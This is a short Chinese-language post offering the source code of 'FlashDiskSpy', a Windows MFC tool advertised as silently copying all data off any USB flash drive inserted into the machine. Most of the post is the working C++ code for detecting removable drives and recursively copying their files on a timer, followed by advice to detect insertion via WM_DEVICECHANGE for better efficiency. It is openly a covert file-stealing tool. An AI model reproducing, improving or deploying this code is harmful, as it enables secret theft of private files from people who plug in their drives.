源代码下载:http://www.vczx.com/article/file/20050902202225_FlashDiskSpy.rar
一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
关键代码如下:
//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc=‘A‘;cc<=‘Z‘;cc++)
{
strdir.Format("%c:",cc);
if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
return strdir;
}
return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s//*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();
if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s//%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s//%s",dir,foundFileName);
tempFileName2.Format("%s//%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}
void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
m_NewFdisk=FindFdisk();
if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
{
CopyFile(m_NewFdisk);
}
if(m_NewFdisk!="")
m_OldFdisk=m_NewFdisk;
else
m_OldFdisk="NULL";
}
CDialog::OnTimer(nIDEvent);
}
在有外设安装的时候,一般都会向所有窗口广播 WM_DEVICECHANGE 消息,
处理这个消息,安装时候在 DBT_DEVICEARRIVAL 中处理 DEV_BROADCAST_HDR, DEV_BROADCAST_VOLUME 就可以得到 U 盘
的盘符。 这样应该比用定时器效率要高不少。